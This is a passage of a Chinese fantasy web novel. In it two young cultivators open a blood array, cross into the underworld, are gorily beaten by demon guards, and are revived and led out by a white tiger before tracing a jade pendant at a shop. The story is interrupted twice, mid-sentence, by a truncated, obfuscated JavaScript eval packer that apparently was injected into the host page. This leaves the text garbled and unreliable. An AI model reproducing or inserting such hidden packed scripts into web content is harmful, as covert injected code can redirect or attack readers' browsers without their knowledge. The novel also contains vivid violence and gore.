段尚清怔愣片刻,忽地低声笑了起来,气息拂过白栩颈侧,撩动些痒。 白栩不明所以,侧头看他,“笑什么?” “我小时候,弄丢本心法,父亲罚我在禁闭阁中思过三日,我总以为弄丢东西是天大的罪孽……”段尚清微微瞌眼,因着失血,他没什么力气,声音轻而低沉,“原来大人们也会犯错,还捅了这么大的篓子。” 这是撒娇么? 白栩心口发软,下意识抬手掐了把他的侧脸。 这么瘦的人,脸颊捏起来却是软乎乎的,他故作不满道:“我爷爷也是不小心弄丢的,都怪我那个没过见面的师叔。” 段尚清没躲,反而往他掌心蹭了蹭,像只讨乖的大犬,“是,都怪虞惑……”他顿了顿,忽地抬眼望进白栩眼底,瞳仁里映着篝火的光,“不过,虞惑当年逃出白家的说的那番话,和墙上的血书很像。” 白栩手一停,回想起来确实是这样,“你怎么想?” “我怀疑,虞惑也来过这里。”段尚清点点白栩的指尖,“你往地上看看。” 白栩低头,目光刚落,心就揪紧了,段尚清不知何时拆开了手上的布条,三道深可见骨的爪痕正淅淅沥沥地往下淌血,暗红的血珠顺着地上浅得几乎看不见的凹槽,一点点勾勒出诡异的纹路。 他立刻捂住段尚清的伤口,触手一片温热,他气得声音发颤,“你疯了?这伤口刚止血……” “用血把阵法补全,我们就能出去。”段尚清轻轻推开他的手,用指腹的薄茧蹭了蹭白栩的手心,“别慌,我有依据的。” 他从怀里把白栩捡到的那本话本拿出来,翻到最后一页给他看,暗黄的纸页上用朱砂画着个复杂阵法,周围写满异族文字。 白栩看不懂,段尚清逐字念给他听:“双生阵,开鬼门,入则同生,出则同死。” 他念完,抬眼看向白栩,脸色苍白得近乎透明,“地上的凹槽我细看过,里面凝着一层血痂,也许上一个人就是用血打开阵法的……我本不想同你说,可是我一个人的血似乎不够用,白公子,无奈只能麻烦你了。” 地上的纹路已经显现大半,足以见流了多少血出来。 白栩气段尚清的莽撞,明明平日里那么沉稳,到了生死关头,反而肆无忌惮了,他看着段尚清的眼眸,那里藏着点点笑意,不过火光昏暗,他看不真切。 白栩垂眸,心尖一动,“……有刀么?” 段尚清摇头,“我的剑被白虎打飞了……”他甩出一张符,一柄小剑在掌心化形,剑刃锋利,却小巧可爱。 “用这个吧。” 白栩接过,毫不犹豫地在掌心上划开一道,用力一攥,鲜血立刻渗进凹槽,两道血混在一起,交融,顺着纹路缓缓流动。 阵法还剩下最后一个小空缺没填满,段尚清捂住白栩的伤口,白光闪过,伤口已然愈合。 “开鬼门之前还要隐去阳气,我们要混进鬼魂中,”段尚清引着火符向后飘,照向祭台上吊着的尸骨,“用他身体的蛊虫。” 蛊虫阴气极重,的确能盖过活人的阳气,不过这将军少说也死了十几年了,就算蛊虫还在他身上,早就成虫干儿了,还能有着功效么? 白栩想问段尚清有几成把握,话没出口,段尚清率先站了起来,踉跄几下站稳身子,抬手推着白栩走上祭台。 白栩回头看他,段尚清眉眼含笑,微微俯身让白栩看清自己的眼睛,“试试?” 相处这么久,还是第一次挨得这么近,白栩晃了神,“你想怎么做?” “把他的骨头敲碎,蛊虫肯定在里面。” 段尚清伸手掰下一根肋骨。 骨头经过这么多年的湿气腐蚀,已经变得很脆,轻轻一掰就断,一捻就成粉末。 段尚清毫不留情地一连折了好几根,仔细地掰开查看。 他动作麻利,不消片刻就从尸体的胸骨中捏出了一片虫干,拿给白栩看。 “把这个捏碎了含在嘴里就行。” 白栩一看那虫子,登时面容扭曲,连连抗拒。 段尚清把虫子在掌心捏碎,捻起一抹洒在了自己的舌尖上,随后又捻起一抹,捏住白栩的下巴,温言哄他,“张嘴。” 白栩闭上眼,颤巍巍地张嘴,生平第一次吃虫干,说不恶心是假的。 “没毒,就是有些恶心,你慢慢消化,我去放血。” 段尚清欣赏了一眼白栩扭曲的面容,心满意足地撸起袖子,蹲在那缺少血迹的纹前,指尖扣进刚结痂的伤口,挤出鲜血将沟壑填满。 虫干极苦,白栩感觉自己整条舌头都被苦味麻痹了,心里膈应得紧,想吐又什么都吐不出来。 要不是心里憋着一股劲儿要从这鬼地方处去,他白家二少爷何需吃这种苦? 真是虎落平阳被犬欺,落魄凤凰不如鸡。 阵法补全,段尚清起身走到白栩身边,和他挨在一起,“如果没用,怎么办?” “那就找别的出路,说不定没过多久,府里的人就找来了。”白栩不愿在这种时候说丧气话,但他也知道,这鬼地方这么隐蔽,爹娘来了都不一定能尽快找到,何况其他人。 “阿栩。”段尚清垂眸,“是我害了你。” “不许瞎说。”白栩抬头瞪他,“小心我揍你。” “那你轻点。”段尚清举手投降,白栩一把抱住他的腰,整个人埋进他怀里。 浓郁的血腥味传过来,以及隔着衣襟也能感受到的微微颤抖。 段尚清还能撑住么…… “我们会没事的,算命的给我看过,他说我命硬得很,还旺身边人,我们会没事的。”白栩忍着心疼,眼眶憋得通红。 “嗯。”段尚清俯下身子,把头埋在白栩颈窝里。 他从来没有和谁这般肌肤相亲过,记忆里,襁褓时期被母亲抱在怀里时,心里也如眼下这般安定。 “我相信你。”他呢喃,鼻尖蹭着白栩颈侧的皮肤,“如果真的出不去,最好是我先死掉……” 白栩心疼又生气,使劲掐段尚清的腰,“你再说不吉利的话,我真要收拾你了!” “嗯……饶命。”段尚清抱紧了他,笑得胸膛发颤,白栩听见他的心跳略微紊乱,连带着自己的心也颤动不已。 正黏糊着,迎面打来一阵阴冷的湿风,风里好像带着冰碴子,根根往他的肉里头钻。 地上的火堆忽地熄灭,四周顿时陷入一片漆黑,一片死寂中,响起一阵指甲挠墙的声音。 挤在墙角的尸骨堆里传出骚动,一只只灵体从他们身体里钻出,扣着石壁,抓挠出声,一步步向外爬去。 段尚清抬手捂住白栩的眼睛,“鬼来了,别怕,千万别松开我的手。” 白栩点头,紧紧抓住段尚清的衣襟。 一片幽绿的散着鬼气的阴光从地底下渗了上来,照得洞内宛若阴间鬼域。 挠墙的声音越来越响,伴随着阴惨惨的哭声,一齐在洞穴中回响。 脚下的阵法散发出暗红色的血光,忽地大地一阵震颤,烟尘四起,无数魂魄从黑暗中显形,四面八方地朝他们爬来。 所有的鬼魂都向他们身后石壁上破出的鬼门爬去。 门后黑洞洞的,闪着些凄惨的鬼火。 “走。”段尚清拉着白栩,跟着鬼魂们爬动的方向,踏进了鬼门之中。 鬼门内是一片虚无,放眼望去,四处弥漫着黑色的雾气,没有可以落脚的地方,亡魂们好似浮在空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然血水不会把衣裳打湿,但水位越高越能闻到一股腥臭的气味。 白栩一开始被熏得想吐,干呕了几次,渐渐适应了这味道,闻得久了,竟然从其中嗅出一股诡异的香味来。 “这血腥味不会把我鼻子熏坏了吧,我怎么觉得越来越香了。” “我也觉得变香了,“段尚清向前一指,“你看,前面有桥。” 白栩看过去,只见浑浊无涯的血河尽头,隐隐约约地显露出来一座石板桥。 亡魂从水中探出头,一个叠一个争先恐后地爬上桥面,之前淹没在水中的号泣声又传了出来,阴凄凄的,听得白栩浑身发毛。 两人跟着亡魂,也来到了桥边。 这是一座拱形桥,修建得十分细致,桥身两侧矗立的石柱上刻有镂空石雕,其所雕非龙非凤,状如恶犬,张牙舞爪,毛发飞旋。 白栩盯着研究好一会儿,惊讶道:“这是上古凶兽,混沌。” “这桥上四角石雕皆不同,我看应是四大凶兽,饕餮,混沌,穷奇,梼杌。”段尚清道。 “可是这里雕祂们做什么?”白栩不解,“难不成是怕恶鬼作乱,特意让他们镇着?” “也许吧,不过现在不是深究的时候,我们再往前走走。”段尚清拉着白栩上了桥。 桥面上阴刻着精美繁复的纹路,白栩一路看过去啧啧称奇。 这阴间之物,竟别有一番意蕴。 过了桥面的拱顶,眼前忽地蔓延开一片刺眼的红。 是一片彼岸花丛。 “看来我们闻到的香味是彼岸花的味道。” 段尚清环望一圈,沉吟道:“我们站在奈何桥上。” 14. 苦界无边 【本章有血//腥描写,谨慎阅读】 桥尽头豁然开朗,俨然一片开阔地界。 一棵巨大的古树突兀地矗立在中央,树干粗壮笔直,直耸碧落,树皮斑驳有如片片蛇鳞,一树叶子尽是刺眼的红,密密麻麻地覆盖着枝桠,宛若一条倒悬过来,向上张口吐信的巨蛇。 树身周边长出许多苍劲有力的枝条,其上挂着各色丝衣和舒展的人皮。 树下开满了彼岸花,血红的花瓣簇拥在一起,花蕊中央探出几根鹅黄的触须,微微颤动着点点萤光,不知是谁的亡魂附着于此,不得超生。 白栩环望四周,到处是灰茫茫的混沌,上下皆不见底,萧索而死寂,唯有这树与花红得诡异,红得令人心头发寒,像天上泼下来的血。 两人一前一后走下桥,在树下停步仰望。 枝桠间悬挂着数只六角铜铃,个个有如拳头大小。 阴风掠过,铃声荡开,并不清脆,反而沉闷,压在人心头上,很不舒服。 不知怎地,白栩盯着那铜铃入了迷,入定似的站在原地。 他感觉自己的意识正一点点抽离,渐渐飘远,飘进了一片陌生之地。 眼前是一片血色漫天,耳边却乍响铁链相击、犬吠蛇息之声,无数嘈杂声响乱成一团,乌泱泱袭来,许是一片热闹景象,亦或是真正的黄泉地狱。 一股温热的液体自鼻间、眼中、耳中滑落,他抬手去抹,指尖染上鲜红。 是血。 他心中一悸,猛地回头,正对上段尚清同样骇人的模样——七窍流血、面色铁青,状若恶鬼。 “怎么……咳——”白栩刚一开口,喉中突然一哽,弯腰咳出一口腥血。 不对劲,这里的一切都不对劲。 段尚清抹掉脸上的血,一手捂住白栩的眼睛,一手拽着他急步后撤,“别听,别看。” 白栩立马听话地捂紧耳朵。 铜铃声被隔绝在外,顿时神识清明,白栩随着段尚清的力道,一步步撤回桥上。 直到重新踏上桥面,两人才敢回头。 桥对岸已经彻底变了样。 原本宽阔凄凉的地界,此刻挤满了投胎鬼,竟是诡异的“热闹”。 奈何桥下血涛汹涌,无数游魂层层叠叠地挤在一起,挣扎地向岸上爬。 树干上数张早已干瘪的人皮也跟着凑热闹,四肢不停地抽搐扭动,它们的脸皮自中央裂开一条竖缝,许是被撕咬开来,其内无骨,唯有空荡一皮,不知从何处发出阵阵惨叫,痛苦凄惨却无可解脱。 数条铜蛇自树干盘旋其上,看守着人皮,“嘶嘶”地吐着信子。 桥两侧各守着一头三首八足的恶犬,它们张着血盆大口,利齿森然,几下便将亡魂拦腰咬断,肝肠脏腑破肚飞溅而出,洒了一地,立刻被另只恶犬吞食。 阴气逼人寒透骨,腥风扑鼻味钻心,血水浑波万丈高。 到处是无边苦痛,嘶吼漫天。 段尚清深吸一口气,吐出时气息都在发抖。 “果然奈何恶水,血盆苦界。” 两人相视一眼,默契地同时后退,悄无声息地潜入血河之中,只露出个脑袋静观其变。 不知过了多久,远处传来轰隆一声巨响,崖壁竟自下而上裂了开来,顿时,青光乍现,阴气迸射,一众牛头马面鬼迈步而出,个个扛着伏魔杖,腰拴拘魂链,面目狰狞,见鬼便打,直打得那些亡魂肝胆俱裂,口吐脏腑才肯罢休。 那一个个凶神恶煞的模样,不愧是从森罗殿里走出来的恶鬼。 白栩看得心惊肉跳,正想再退几步,却已被踏上桥面的牛头马面察觉。 一见有活人闯入,它们面上立刻凶光毕现,铜铃大的眼睛里射出赤红鬼火,结实的手臂挥动起伏魔杖,气势汹汹地朝他们追来。 段尚清反应极快,一把拉起白栩,掉头就跑。 血河泥泞粘滞,两人举步维艰,而追兵却如履平地,速度惊人。 伏魔杖破风而至,白栩躲闪不及,后背被杖上倒钩撩过,顿时衣袍撕裂,皮开肉绽。 他忍着剧痛,拼命向前,可体力流失迅速,速度越来越慢,眼看又一仗将要砸来,忽觉腿弯被狠狠一踹,整个人不受控制地跌入血河。 无数腥臭的血水涌进鼻腔,白栩慌忙闭气,伏魔杖嘭地砸入水中,擦着他的脑袋而过。 白栩心惊胆寒,尚清牢牢攥着他的手,引他在血河中潜行,数次躲过砸入水中的伏魔杖。 好不容易挣扎到对岸,两人从血水中冒出头,虽未沾血,却浑身腥臭,狼狈不堪。 牛头马面已然逼至身后,白栩气力耗尽,再也跑不动。 “不能停下来!”段尚清声音嘶哑,几乎是在嘶吼。 他脑中只剩一个念头:白栩不能死,就算死,也得是自己死。 “我们退回鬼门去。”他半拖半抱把白栩带向鬼门关,可方才裂开的岩壁此时竟完全闭合,不留一丝缝隙。 绝望如兜头浇下一桶冰水,直叫他浑身血液凝固。 段尚清脑中嗡鸣一声,心中拧着的劲儿一下子散了,他俯身吐出一口腥血,眼前一阵眩晕,直到此时才觉浑身疼痛难忍。 白栩跌坐在地上,大口地喘气,他背后的伤口尽数崩裂,汩汩地往外冒血,迅速浸透衣袍。 他仰头看着牛头马面步步逼近,心下一片绝望。 对死亡的恐惧如潮水灭顶而来,他一瞬看见了许多青面獠牙的魍魉在身边旋绕,它们“嗤嗤”地发出尖锐的狞笑,嘲笑他们的自不量力,自寻死路。 不远处的血河沸腾着扬出冲天血雾,血水中浮出数不尽的残肢碎块,它们蠕动着残破的身躯,发出“嗡嗡”的鸣叫。 一片滔天血色,尸山血海,万鬼齐鸣。 白栩心神俱裂,眼中流下两道血泪。 段尚清挣扎着膝行着爬到他身前,将他紧抱住,挡在牛头马面之前。 沉重的脚步声越来越近,铁钩拖拉地面发出刺耳的声音。 段尚清虽抱着他,头已无力地垂下。 方才奋力的逃命消耗了他所有的气力,此时全身肌肉痉挛,不住的剧烈颤抖,口中吐出殷红的血。 素来温热的胸膛此时冰冷一片,白栩心如擂鼓,他忽地感觉段尚清全身的重量朝自己压来——马面一杖压在他背上,将两人一同摁倒在地。 耳边清晰地传来骨头碎裂和段尚清吃痛的闷哼声。 牛头高举起伏魔杖,眼看朝他们的头颅狠狠砸来。 不……段尚清不能死在这里,决不能客死异乡,尸骨无存…… 一股狠劲儿猛地冲上 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白栩的尸体被踹向一旁,烂肉一滩丢弃在墙角。 段尚清被马面狠狠拖拽起来,铁钩刺穿他的肩胛,将他悬吊在半空。 地狱难得闯进不知死活的生魂,正是稀缺的玩物。 那白衣小儿被一杖打死委实可惜,不过杖上挂着的这个,很是顽强,能多玩些花样。 血顺着手臂滴滴坠落,落在属于白栩的那一滩血中,两相融合,彼此不分。 段尚清咬紧牙关,喉咙里发出痛苦的闷哼,冷汗与血水混杂,糊了面容。 一只牛头鬼上来,狞笑着挥杖,狠狠击打他的腹部,这一下,皮肉飞溅,血流满地,段尚清一口血喷在牛头脸上,五脏仿佛被捣碎。 “呃啊——!”他终是忍不住发出一声低吼,却又瞬间咬紧下唇,不愿让这些鬼怪得意。 他艰难地转动眼珠,望向不远处的墙根,白栩倒在那里,无声无息,几只小鬼围着他,或撕或咬,吃得正欢。 段尚清瞪大了眼睛,一瞬间怒火直冲天灵,心脏发了疯似的嘭嘭直跳,擂击胸膛,他脑中一片空白,连痛都忘了,眼里只剩下白栩被撕扯的模样。 他怒吼一声,周身灵力空前爆发,经脉不堪灵力运转寸寸折断,顿时叫他喷出一口热血。 他催动浑身灵力,几近自爆,霎那间,蓝光四溢,一阵灵波涤荡,牛头马面迎头被扇倒开去,滚落在地,摔入血河。 段尚清跌下来,手脚并用爬向白栩。 小鬼已经被方才的爆发的灵力碾成血泥,他抱起白栩残缺的尸体,护在怀里。 本想着自己先死,却让白栩抢了先。 如果要死无全尸,先吃我吧…… 他已经耗尽了灵力,再也催动不出什么法术。 从前自以为天资卓越,很是清高自傲,可真到绝境,连护住所念之人都做不到。 他悲切地回头看去,牛头马面已从血河中爬出,凶神恶煞,举杖奔来。 难道要被毫无尊严地碾死在这里么? 不甘心! 不甘心!! 15. 死里逃生 段尚清一瞬间动了同归于尽的念头。 段家祖训所言:宁为玉碎不为瓦全,故而段家学子破蒙第一式,名曰“玉石俱焚”,催动自身灵力以自爆伤敌,宁可自绝,也绝不受他人染指。 可惜方才那一式,已耗尽灵力,如今经脉寸断,与常人无异,何能自绝? 段尚清抱紧白栩,攫取尚存的体温。 怀中的身体已经没了心跳,瘫软一片,四处是伤口。 段尚清从未觉得血腥味这么刺鼻,这么令他心惊胆寒,若有针线,他想一针一针将白栩的伤口缝合,再背着他一步一步离开阴曹地府…… 是不是出去了,白栩就能活过来,是不是一睁眼,就能发觉这只是一场过于逼真的梦? 段尚清在白栩颈侧埋首,那里曾经是几近滚烫的温热,如今被血浸泡得黏腻,却是一片冰凉。 他失声痛哭,心如刀割,他唾弃自己自私,直到此刻,也宁愿先死的是自己,撒手人寰不顾一切,总好过独自承受这足以摧枯拉朽的悲恸。 “啷当”一声,伏魔杖的尖钩逼至眼前。 段尚清抬眼,看向一旁昂首示威的牛头马面鬼。 死了也好…… 他眸中的悲恸转为阴毒。 若是死了,便能化作冤魂厉鬼,纵使魂飞魄散,不得超生,也要揭地掀天、兴风作浪,搅得这黄泉地狱永不得安宁! 牛头鬼看出段尚清眼中恨意滔天,轻蔑一笑,抬脚踹向他的侧腹,段尚清被踹飞数尺,白栩自怀中脱落,马面鬼一脚踩上白栩溃烂的胸膛,咧嘴笑着,举杖将要砸下。 “不——!” 段尚清伸手去拦,却怎么也动弹不得。 千钧一发之际,一声振聋发聩的虎啸自远处传来,只听牛头马面发出一阵非人的凄厉惨叫,伏魔杖哐当一声掉在地上。 它们的身体迅速萎缩,皮肤发皱,眼珠迸裂,尖牙脱落,下半身化为乌黑血水从衣服下流出,高大的身影寸寸嵌入地底,最后只剩下牛、马脸皮各一张,干干瘪瘪地飘落在地。 段尚清转动眼珠,一只白虎正蹲在他身旁,从容地坐在地上,舔着爪子看着他们。 这老虎看起来有些眼熟,似乎是镇邪庙里把他们逼入绝境的白虎。 它怎么来了? 这里不是黄泉地狱吗,它怎么进来的? 白虎甩甩鬃毛,幽蓝的眼睛瞟了段尚清一眼,舔舔爪子,“嗷呜”一声伸了个懒腰,看起来很是轻松惬意。 它浑身笼罩着一层莹蓝色的光,与这血海冥界格格不入。 白虎慢悠悠地走来,伸出宽阔的虎掌,轻轻按在白栩的血肉模糊的胸膛上。 霎时间,无数条莹蓝色的光线自虎掌下蔓延开来,将两人包裹其中。 光线过处,骨肉生长,血液回流。 手腕一阵剧痛,段尚清低头看去,断裂的手腕竟生长出新的筋骨与血肉。 他身下的一滩血液仿佛有了生命,丝丝缕缕地钻回各自主人的胸膛,像无数只小手,攥紧裂开的皮肉黏合在一起,直到不见一丝伤痕。 白虎在救他们。 段尚清的心蓦然落地,他颤颤巍巍地呼出一口气,浑身脱力瘫倒在地。 巨大的眩晕如一记重锤敲在天灵盖上,他眼前一阵阵发黑,手脚剧烈的发麻。 白虎“哼”了一声,咬着段尚清的衣领,把他叼到白栩身旁,用肉垫拍了拍段尚清的脸,随后转过身朝远处缓缓走去。 段尚清心领神会,立刻起身背起白栩,跟上白虎的脚步一同离开。 白栩是被惊醒的。 梦醒前的最后一刻,他眼睁睁看着自己的面门被伏魔杖打中,头骨从额头开裂,一路碎到下巴,脑浆流了一地,眼珠从眼眶蹦出。 直至睁眼,恍惚竟以为自己已经死了,魂归天地,飘无定处…… 他记得自己替段尚清拦了一杖,剧痛只一瞬,便没了意识。 他心有余悸地摸摸心口,心脏还跳着,碰碰脖颈,依旧一片温热,皮肉下,血正缓慢流淌,滚烫、炽热,是属于活人的温度。 不知为何,他竟眼眶发热。 “尚清……” 白栩埋在段尚清脖颈,把眼泪蹭在他身上,“我们没死?” “嗯。是白虎救了我们。”段尚清的声音很轻,带着温润的笑意和失而复得的小心翼翼,他侧过头,对上白栩的眼睛,瑞凤眸中亮晶晶的,闪烁着碎月般的光。 白栩吸吸鼻子,控制住汹涌的情绪,支起脑袋,抬头望去,一只通体雪白的老虎正在前面引路,它长鞭一样的尾巴一下下扫过血河,荡起一圈圈涟漪。 “怎么会有老虎进来?” “它就是我们在庙里面见到的那只老虎。”段尚清把白栩滑落的身子往上托了托,“我猜他之前攻击我们,是想让我们远离镇邪庙。” “怪不得,之前我在林子里走它不来揍我,一进庙里面它就来赶我们走。”白栩揉揉眼睛,胡乱把泪擦干,“放我下来吧,我自己走。” “无妨,你重伤初愈,再睡会儿吧。” “不用,我……” “听话。” 白栩一愣,心尖儿一片酥痒。 他低低笑了一声,枕着段尚清的肩,亲昵地蹭了蹭,“那我再睡一会儿。” “好。” 段尚清放稳步子,尽量让白栩睡得舒坦。 走了许久,一路虚无黑暗,不见天光,白虎身上萤蓝色的光是唯一的指引。 放眼望去尽是一片灰茫,明明脚下踩着的是血河,却感觉坑坑洼洼的十分不好走,路越来越陡,坡度越来越大,段尚清越走越吃力,突然脚下被什么东西一绊,身形不稳踉跄了一步。 白栩被这一下给颠醒,迷迷糊糊地睁开眼,趴在段尚清耳边轻声道:“放我下来吧。” 段尚清蹲下来,将白栩轻放在地,扶着他慢慢地走。 最后的路几乎是垂直的斜坡,隐约能看出脚下嶙峋的怪石。 白虎几个大跳就上去了,白栩和段尚清只能一步一步地向上爬,掌心能感受到是苔藓的湿滑,隐约飘来草汁烂叶的味道。 眼前忽地闪出一丝白光,带着些暖意。 白栩一怔。 是阳光。 他们走出来了! 身上突然有了力气,白栩三步并作一步地往上爬。 光线越来越刺眼,空气中带着林木独有的潮气,阳光刺破混沌普照而来,无边暖意蔓延,他们从青铜鼎旁的土坑里钻出,人刚出来,坑便消失不见了,显然是白虎临时打的洞,特意把他俩从地狱里捞出来。 “我们终于出来了。”白栩一把抱住段尚清,整个人埋进他怀里,他再也忍不住,低声啜泣起来。 段尚清也哭了,只不过他哭得比较内敛,只流泪,不出声,也不会像白栩这般不道德地往别人身上擦眼泪鼻涕。 白栩看他哭,忽然就不想哭了,他捧起段尚清的脸,替他擦干泪,俩眼睛肿成桃儿,也要逗人家:“原来小神仙也会掉眼泪,会变成金豆子么?” 他听到段尚清的心跳更加剧烈,那双劲瘦而有力的手臂死死环住自己的腰,牢牢扣紧,一丝也不肯松懈。 他们的身躯无限接近,相互挤压,妄图彼此交融。 “不知道,你要接住看看么?”段尚清微微低下头,抵着他的额头,低沉的声音敲击着白栩的耳廓,酥酥麻麻,直坠心尖。 白栩作势抬手接,段尚清却笑了,一滴泪也不肯流了。 “好小气。”白栩笑意盈盈,段尚清嗯了一声,扣住他的脑袋,让他埋进自己的怀里。 “嗷呜……” 被晾在一旁的白虎仰头嚎叫了一声,躬身钻进两人的怀里,头腚各一顶,将两人分开,晶亮的圆眼滴溜转着,左看看白栩,右看看段尚清,似乎在说怎么还不感谢我? 白栩张开双臂一把抱住老虎脑袋,亲昵地用脸颊蹭了蹭,“虎兄,今日你救我一命,来日我必涌泉相报,以后想吃什么想要什么尽管告诉我,兄弟我翻山越岭也给你弄来。” 白虎满意地扬起脑袋,白栩看着白虎白乎乎毛绒绒的下巴,没忍住伸手挠了挠。 白虎被伺候得舒服极了,呼噜一声,伸出粉舌舔了舔白栩的手心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你说姚小公子啊,说起来我们这次能找到你们,多亏了他,要不是他耳朵好听出了你们在这儿,恐怕我们走个三天三夜也找不到,不过他一进入林子就不太舒服,找到你们之后更是七窍流血,方才被送回府中休息了。” 段尚清才放下的心又悬了起来。 白栩见识过姚靖鼻血横流的模样,只是两窍流血,就快淌成小河了,七窍都流血不得变成血人了,心里一急,忙催促师兄赶紧带他们回去。 回到白府,两人顾不上休息,径直奔向姚靖的房间。 侍从在床边为姚靖擦拭面颊上凝固的血块,他的脚边放着一盆被血染红的水。 姚靖面色略显苍白,但呼吸匀称,应是无碍。 两人这下放下心来,安静地退出房间,扣上房门的那一刻,才终于感到一切尘埃落定。 两人相视一笑,笑里是逢凶化吉的万幸与死里逃生的疲惫。 “好好睡一觉吧。” 段尚清摸摸白栩的脑袋,“明日见。” “明日见。” 白栩舒舒服服地泡了个澡,湿着头发趴在床上倒头就睡。 这一觉下去,足足两天没醒过来,昏睡期间有不少仆人来敲门叫他吃饭,他两耳紧闭全都没听见,只顾闷头呼呼大睡。 要不是呼吸尚存,众人还以为白府二公子死在自己房里了。 其实白栩能听见来往仆从的声音,能感受到他们为自己擦脸盖被的动作。 只是眼皮是在太过沉重,脑袋昏沉无比,整个人像掉进了无底的黑洞,稍有转醒,不消片刻又会沉睡过去。 彻底醒来,已经是第三日傍晚了。 这一觉睡得太长,全身的骨头都睡松散了,脑子酥酥麻麻的,愣了好一会儿才能转个。 他微微睁开眼,手指不自觉地蜷缩,全身上下一点气力也没有。 原来单是睡觉也能如此幸福。 黄泉路上走一遭,历经生死再回阳间,忽觉人间美好,一草一木,一花一柳,皆美不胜收。 白栩深吸一口气,伸了个懒腰。 不知尚清如何了,得去看看。 16. 定情信物 夕霞昏黄的阳光顺着窗棂洒进来,将屋内笼罩进一片暖意之中。 白栩仰躺着享受了会阔别已久的惬意,等麻劲儿过去,气力恢复,一骨碌翻身下床,洗漱更衣,推门而出。 段尚清在院中练剑。 他今日换了件月白长衫,那白里泛着的一抹浅蓝。望着他立在那里,只觉周遭俗尘都淡了几分,心里头莫名地轻快,却又说不清是为何,只当是这颜色衬得人愈发清俊罢了。 白栩第一次见他舞剑。 爹说过,段家最重风骨,故而剑式飘逸凌厉,锋锐决绝,长剑挥动,残影蹁跹,利落的剑花带起如虹剑气,掀起一阵瑟瑟林风。 不知此剑何名,只觉剑如其人,应也有个雅致的名字。 段尚清练完一套剑法,立定身形,收剑入鞘,被剑气摧折的竹子挺回腰板,纷纷扬扬地洒下竹叶向剑客寻仇。 段尚清站在一片如雨的落叶中,拂去额角细汗,抬头凝望了会儿,才发觉白栩已站在身后。 他抬手指向凉亭,邀人去亭中小坐。 姚靖也在亭中,正面色痛苦地背书,白栩一来,他像找着了靠山,书一丢,抱着白栩痛哭流涕地诉苦,三句不离他师兄的管教是何等不徇私情、大义灭亲。 白栩听他大吐苦水,乐得不可开支,不过瞧他红光满面、神采奕奕,应是恢复的不错,便放下了心。 段尚清丢给姚靖一包蜜饯叫他闭嘴,又给白栩倒了杯清茶。 “阿栩,在尸堆里找到的那块玉石你可还留着?”。 “留着。”白栩从腰间别着的浅绿竹叶纹香囊中拿出玉坠,放在桌上。 “你说这是江州的玉石,有办法查到它的来路么?” 白栩沉思片刻,“有一家玉坊应能查到,现在去么?” 段尚清看了眼太阳方位,“走吧,还不算太晚,玉坊应该还开着门。” 三人即刻动身出府,前往西街老巷口旁的“宁烟玉坊”。 店主是一个面容和蔼的小老头,名叫宁世赑,白栩经常从这儿买些玉佩摆件回去,和宁老头混的很熟。 “呦!白少爷来了,快请进!” 宁老头一见白栩,就像见着了财神爷,热切地招呼白栩进屋,急忙吩咐下人赶紧送上茶水糕点招待。 他搓搓胖手,满手的玛瑙戒指蹭在一起噼啪作响,“这次想买什么玉啊?我这儿正好新到一批好玉,拿来给你瞧瞧?” 宁世赑嘴上客客气气地询问,手已不由分说地从柜台里拿出一盘玉簪和玉佩,整齐地摆在白栩面前,这些玉货质地温润,一看就是好货。 “来,挑挑有没有能看上的,老头子我算你便宜些。”他这话说得很是熟络,实际他给每个人都“便宜”一些,到手的银两却是分文不少的。 白栩见惯了珠瑙金玉,略瞟了一眼,没一个入了法眼。 段尚清立在一旁,不看也不出声。 姚靖意外地对玉簪很感兴趣,精挑细选一番,买了只刻着桃花坠着柳叶的簪子。 宁世赑还没磨破嘴皮子说些花言巧语,就收了一把银钱,更是喜笑颜开,连连奉承道:“少年好眼力,一下就挑中最好的一支。” 姚靖羞赧一笑,白栩瞟见他耳根发红,将小巧的玉簪攥在手里,都不敢用力。 他暗自一笑:这小子,有秘密。 宁世赑见白栩一动未动,凑上前来暗暗催促,“小栩,没瞧见喜欢的?” 白栩从前被他哄着买去很多玉佩,要是闲时,兴许能与他讨价还价一番,今日正事在身,无心挑选,只将一直捏在掌心的玉坠递到宁世赑面前,“下次再来瞧新货,这次我来是想让您帮我个忙,您帮我瞧瞧,能不能找着当年的买主?” 白栩的要求并不苛刻,宁老头接过玉石,搓捏几番,对着夕阳仔细看了看,捋着长胡子笑了起来,“暖烟玉上刻辟邪,这是我们家的祖传的手艺,想找着买主不难,你等我会儿,我去翻翻账本。” 宁老头把玉还给白栩,钻到柜台里去翻陈年旧账。 叮叮咚咚一阵响动,终于捏着本落灰的账本从柜台下钻了出来了,找了片琉璃镜架在鼻梁上,嘴里念叨着年份月日,手下飞快地翻动起来,不消片刻便找到了买主。 “哎呀,这可是五十多年的老玉了,买主叫申屠羽……如果我没记错,申屠家三十多年前就离开江州了,你现在找他们做什么?” 白栩随口扯了个谎:“这玉是我从后院桃林里挖出来的,觉着新奇就想问问来路。” 宁世赑若有所思:“这玉坠子应该是孩子满月时带上避灾的,你能从桃花林里挖出来,不会谁家死了孩子埋在那里了吧。” “老宁你可别吓我。”白栩佯装被吓得一哆嗦,赶紧把玉塞到段尚清的手里。 “哈哈哈,白公子天不怕地不怕,还能被这些耸人之言吓到不成?”宁世赑揽着白栩的肩把他往屋里面带,其意昭然若揭。 白栩暗暗腹诽,就知道来了宁烟玉坊,不扔下几块碎银就走不了。 宁老头把寻常货摆在外柜卖,真正的好东西都在里屋,白栩来过几次,东西确实是难得的美物,只是价钱实在虚高,尽管他手头宽裕,也不想把钱花在这销金窟里。 正想出门去外边随便买个什么了事,一晃眼,看到琉璃柜上摆着只鎏金云纹银发冠。 冠身小巧,纹样精致,正中镶着枚上好的暖烟玉。 